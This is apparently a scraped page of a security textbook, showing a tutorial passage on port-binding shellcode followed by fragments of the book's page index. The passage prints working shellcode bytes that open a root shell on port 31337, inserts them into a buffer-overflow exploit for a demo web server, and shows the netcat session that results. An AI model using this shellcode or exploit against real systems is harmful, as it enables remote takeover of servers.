hacking-the-art-of-exploitation

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The vulnerability certainly exists, but the shellcode doesn’t do what we want in this case. Since we’re not at the console, shellcode is just a selfcontained program, designed to take over another program to open a shell. Once control of the program’s execution pointer is taken, the injected shellcode can do anything. There are many different types of shellcode that can be used in different situations (or payloads). Even though not all shellcode actually spawns a shell, it’s still commonly called shellcode. 0x483 Port-Binding Shellcode When exploiting a remote program, spawning a shell locally is pointless. Port-binding shellcode listens for a TCP connection on a certain port and serves up the shell remotely. Assuming you already have port-binding shellcode ready, using it is simply a matter of replacing the shellcode bytes defined in the exploit. Port-binding shellcode is included in the LiveCD that will bind to port 31337. These shellcode bytes are shown in the output below. reader@hacking:~/booksrc $ wc -c portbinding_shellcode 92 portbinding_shellcode reader@hacking:~/booksrc $ hexdump -C portbinding_shellcode 00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....| 00000010 96 6a 66 58 43 52 66 68 7a 69 66 53 89 e1 6a 10 |.jfXCRfhzifS..j.| 00000020 51 56 89 e1 cd 80 b0 66 43 43 53 56 89 e1 cd 80 |QV.....fCCSV....| 00000030 b0 66 43 52 52 56 89 e1 cd 80 93 6a 02 59 b0 3f |.fCRRV.....j.Y.?| 00000040 cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 2f 62 |..Iy...Rh//shh/b| 00000050 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 |in..R..S....| 0000005c reader@hacking:~/booksrc $ od -tx1 portbinding_shellcode | cut -c8-80 | sed -e 's/ /\\x/g' \x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80 \x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10 \x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80 \xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f \xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80 reader@hacking:~/booksrc $ After some quick formatting, these bytes are swapped into the shellcode bytes of the tinyweb_exploit.c program, resulting in tinyweb_exploit2.c. The new shellcode line is shown below. New Line from tinyweb_exploit2.c char shellcode[]= "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80" "\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10" "\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80" "\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f" "\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62" "\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"; // Port-binding shellcode on port 31337 278 0x400
When this exploit is compiled and run against a host running tinyweb server, the shellcode listens on port 31337 for a TCP connection. In the output below, a program called nc is used to connect to the shell. This program is netcat (nc for short), which works like that cat program but over the network. We can’t just use telnet to connect since it automatically terminates all outgoing lines with '\r\n'. The output of this exploit is shown below. The -vv command-line option passed to netcat is just to make it more verbose. reader@hacking:~/booksrc $ gcc tinyweb_exploit2.c reader@hacking:~/booksrc $ ./a.out 127.0.0.1 Exploit buffer: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 6a 66 58 99 | ............jfX. 31 db 43 52 6a 01 6a 02 89 e1 cd 80 96 6a 66 58 | 1.CRj.j......jfX 43 52 66 68 7a 69 66 53 89 e1 6a 10 51 56 89 e1 | CRfhzifS..j.QV.. cd 80 b0 66 43 43 53 56 89 e1 cd 80 b0 66 43 52 | ...fCCSV.....fCR 52 56 89 e1 cd 80 93 6a 02 59 b0 3f cd 80 49 79 | RV.....j.Y.?..Iy f9 b0 0b 52 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 | ...Rh//shh/bin.. 52 89 e2 53 89 e1 cd 80 90 90 90 90 90 90 90 90 | R..S............ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 88 f6 ff bf | ................ 0d 0a | .. reader@hacking:~/booksrc $ nc -vv 127.0.0.1 31337 localhost [127.0.0.1] 31337 (?) open whoami root ls -l /etc/passwd -rw-r--r-- 1 root root 1545 Sep 9 16:24 /etc/passwd Networking 279
Page 1:
CD INside 2nd Edition Hacking the a
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® San Francisco
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BRIEF CONTENTS Preface ............
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0x300 EXPLOITATION 115 0x310 Genera
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0x6a0 Hardening Countermeasures....
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ACKNOWLEDGMENTS I would like to tha
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2 0x100 The rules for this problem
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4 0x100 overly simplistic encryptio
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can be written to accomplish any gi
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0x230 Control Structures Without co
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lest it continue into infinity. A w
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called constants. Returning to the
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Quite often in programs, variables
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0x244 Functions Sometimes there wil
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void turn(variable_direction, targe
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library, a function prototype is ne
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Like a row of houses on a local str
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Below, GDB is used to show the stat
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There are also operations that are
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The display format also uses a sing
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The first four bytes are shown both
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(gdb) x/10i $eip 0x804838b : cmp DW
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022 18 12 DC2 122 82 52 R 023 19 13
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familiar address of EBP minus 4 int
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the English language, knowledge of
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Function "strcpy" not defined. Make
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only be in one of 2 32 possible bit
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pointer.c #include #include int m
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addressof.c #include int main() {
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0x264 Format Strings The printf() f
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The final line just shows the addre
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As discussed earlier, dividing the
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} } printf("[char pointer] points t
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Naturally, it is far easier just to
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This is rather hacky, but since thi
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eader@hacking:~/booksrc $ ./a.out '
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0x267 Variable Scoping Another inte
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[in func1] i = 5, j = 42 [in func2]
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10 (gdb) break 7 Breakpoint 1 at 0x
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Notice that the static_var retains
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70 0x200 The heap segment is a segm
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End of assembler dump (gdb) disass
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0x804836f : mov DWORD PTR [esp+8],0
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int global_initialized_var = 5; voi
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int main(int argc, char *argv[]) {
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errorchecked_heap.c #include #incl
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The bar code on the back of this bo
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eader@hacking:~/booksrc $ ./simplen
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} printf("\n"); display_flags("O_WR
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eader@hacking:~/booksrc $ chmod 731
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uid_demo.c #include int main() { p
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} void fatal(char *); // A function
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#define FILENAME "/var/notes" int p
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[DEBUG] found a 34 byte note for us
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of current_time, an empty tm struct
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While struct memory can be accessed
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815015288 1315541117 2080969327 450
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printf("6 - Reset your account at 1
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int fd; } printf("\n===============
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} } // This function is the Pick a
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invalid_choice = 1; while(invalid_c
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Would you like to play again? (y/n)
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114 0x200 Play around with this pro
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A program can only do what it’s p
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don’t say exactly what their crea
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By now, you should be able to read
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eader@hacking:~/booksrc $ gcc explo
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11 if(strcmp(password_buffer, "bril
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auth_overflow2.c #include #include
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As expected, the overflow cannot di
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(gdb) c Continuing. Breakpoint 2, c
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Notice the two lines shown in bold
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eader@hacking:~/booksrc $ perl -e '
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0x0804848d : mov eax,DWORD PTR [eax
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20 offset = atoi(argv[1]); (gdb) 21
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called the NOP sled, that can assis
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The function of the for loop should
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\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6
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eader@hacking:~/booksrc $ ./notesea
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int main(int argc, char *argv[]) {
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char *buffer = (char *) malloc(160)
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7e99000-b7e9a000 rw-p b7e99000 00:0
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for that user. Using the salt value
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0x342 Overflowing Function Pointers
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7 - Quit [Name: Jon Erickson] [You
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0804b630 A _edata 0804b6d4 A _end 0
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n 5 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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6 - Reset your account at 100 credi
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[Name: Jon Erickson] [You have 1230
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Parameter Input Type Output Type %d
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This is an interesting detail that
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0x353 Reading from Arbitrary Memory
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The wrong way to print user-control
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The addresses and junk data at the
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eader@hacking:~/booksrc $ reader@ha
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0x355 Direct Parameter Access Direc
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Since the stack doesn’t need to b
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0x357 Detours with .dtors In binary
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located. Then the actual bytes are
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Since the .dtors section is writabl
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[DEBUG] found a 34 byte note for us
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eader@hacking:~/booksrc $ objdump -
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0x400 NETWORKING Communication and
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For example, whenever you browse th
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Datagram sockets and UDP are common
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From /usr/include/bits/socket.h /*
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htons(short value) Host-to-Network
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fatal("in socket"); if (setsockopt(
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When compiled and run, the program
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This reveals that the webserver is
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From /usr/include/netdb.h /* Descri
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} while(recv_line(sockfd, buffer))
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} /* This function handles the conn
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Accepting web requests on port 80 G
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the two addressing schemes. In the
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also exist on this layer. ICMP pack
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0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3
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Interrupt:16 Base address:0x2024 re
Page 241 and 242: u_char buffer[9000]; if ((sockfd =
Page 243 and 244: pcap_handle = pcap_open_live(device
Page 245 and 246: eader@hacking:~/booksrc $ $ grep -R
Page 247 and 248: The compiler padding, as mentioned
Page 249 and 250: Now that the headers are defined as
Page 251 and 252: The caught_packet() function gets c
Page 253 and 254: With the headers decoded and separa
Page 255 and 256: Due to timeout values, the victim m
Page 257 and 258: eader@hacking:~/booksrc $ sudo neme
Page 259 and 260: data structures for the packet head
Page 261 and 262: if (pd->file_mem == NULL) pd->file_
Page 263 and 264: only builds ethernet/IP ARP packets
Page 265 and 266: The remaining libnet functions get
Page 267 and 268: dest_ip = libnet_name_resolve(argv[
Page 269 and 270: In the example above, the host 192.
Page 271 and 272: 0x454 Ping Flooding Flooding DoS at
Page 273 and 274: The host machine will receive the s
Page 275 and 276: char errbuf[PCAP_ERRBUF_SIZE]; // S
Page 277 and 278: TH_RST, // Control flags (RST flag
Page 279 and 280: Christmas tree), and the Null scan
Page 281 and 282: 0x475 Proactive Defense (shroud) Po
Page 283 and 284: char errbuf[PCAP_ERRBUF_SIZE]; // S
Page 285 and 286: NULL, // Payload (none) 0, // Paylo
Page 287 and 288: } while(recv(sockfd, ptr, 1, 0) ==
Page 289 and 290: $1 = 540 (gdb) p /x 0xbffff5c0 + 20
Page 291: " 90 90 90 90 90 90 90 90 90 90 90
Page 295 and 296: 0x500 SHELLCODE So far, the shellco
Page 297 and 298: mmap2(0xb7ee4000, 9596, PROT_READ|P
Page 299 and 300: #define __NR_stime 25 #define __NR_
Page 301 and 302: In shellcode, the bytes for the str
Page 303 and 304: eader@hacking:~/booksrc $ export SH
Page 305 and 306: which means that a small value like
Page 307 and 308: Instruction inc dec Description I
Page 309 and 310: After assembling this shellcode, he
Page 311 and 312: exec_shell.s BITS 32 jmp short two
Page 313 and 314: eader@hacking:~/booksrc $ nasm tiny
Page 315 and 316: int setresuid(uid_t ruid, uid_t eui
Page 317 and 318: push BYTE 11 pop eax push ecx push
Page 319 and 320: So, to make socket system calls usi
Page 321 and 322: push BYTE 16 ; argv: { sizeof(serve
Page 323 and 324: 00000030 80 b0 66 43 52 52 56 89 e1
Page 325 and 326: This loop iterates ECX from 0 to 2,
Page 327 and 328: push edx ; Build sockaddr struct: I
Page 329 and 330: pop eax inc ebx ; ebx = 2 (needed f
Page 331 and 332: the return address uses multiple by
Page 333 and 334: 0x600 COUNTERMEASURES The golden po
Page 335 and 336: 0x620 System Daemons To have a real
Page 337 and 338: } printf("Caught signal %d\t", sign
Page 339 and 340: tinywebd.c #include #include #inc
Page 341 and 342: if(fd == -1) { // If file is not fo
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In previous chapters, we’ve writt
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63 if (listen(sockfd, 20) == -1) 64
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message. Shell variables are used f
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There’s a simple mistake in the t
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any program to show every system ca
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0x080487ee : mov DWORD PTR [esp+8],
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0x08048f5f : call 0x08048f64 : nop
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push BYTE 0x6 ; Close () pop eax in
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A quick glance at the function prol
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push edx ; Build arg array: { proto
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This program can be used to inject
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Then, from another terminal, the ne
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strace is used with the -p command-
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ig red flag. We could change the po
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of new_sockfd will still be correct
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00000020 b0 3f cd 80 49 79 f9 b0 0b
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push ebx mov ecx, esp int 0x80 ; pu
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Instruction Hex ASCII inc eax 0x40
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eader@hacking:~/booksrc $ gcc -o up
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Amazingly, these instructions, comb
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ESP up (toward lower memory address
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eader@hacking:~/booksrc $ gcc -o pr
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At the end, the shellcode has been
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esp 0xbffffa2c 0xbffffa2c eax 0x0 0
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functions are shared, so any progra
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A quick binary search shows that th
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eginning of the buffer. When a prog
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The breakpoint is set at the last i
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Bouncing off linux-gate refers to a
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matrix@loki /hacking $ for i in `se
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manual page for execve() for detail
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for(i=0; i < 90; i+=4) // Fill buff
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encryption, credit card transaction
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through the incorrect filter, its p
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This means that, in general, the gr
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Without some way to manipulate the
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With a little bit of basic algebra,
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Since this is all done modulo N, th
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0x750 Hybrid Ciphers A hybrid crypt
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[:] - Static route to port on host
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communication channel with the atta
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e asked to add the new fingerprint.
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to be a bit hazy. The goal behind t
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---[Current State]-----------------
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0x760 Password Cracking Passwords a
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crypt_crack.c #define _XOPEN_SOURCE
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Custom dictionary files are often m
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possible hashes for a single plaint
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Of course, there are downsides. Fir
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charval = (k-32)*95 + (l-32); // La
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} /* Print the plaintext pairs that
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printf("Building probability vector
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Of course, if WEP is turned on, onl
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Now when keystream data is needed,
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After an IV collision is discovered
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is really quite amazing. It takes a
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Seed = IV concatenated with the key
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int key[13] = {1, 2, 3, 4, 5, 66, 7
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and the key is hard-coded into the
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9 0 | 41 1 | 73 0 | 105 0 | 137 1 |
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0x800 CONCLUSION Hacking tends to b
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CNET News. “40-Bit Crypto Proves
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INDEX Symbols & Numbers & (ampersan
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uffer overrun, 119 buffers, 38 prog
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dtors_sample.c program, 184 dump()
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declaring as void, 17 for error che
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Internet Protocol (IP), 220 address
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nemesis_arp() function, 245 nemesis
Page 481 and 482:
pointer_types4.c program, 56 pointe
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session layer (OSI), 196 for web br
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text segment, of memory, 69 then ke
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More No-Nonsense Books from NO STAR
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UPDATES Visit http://www.nostarch.c
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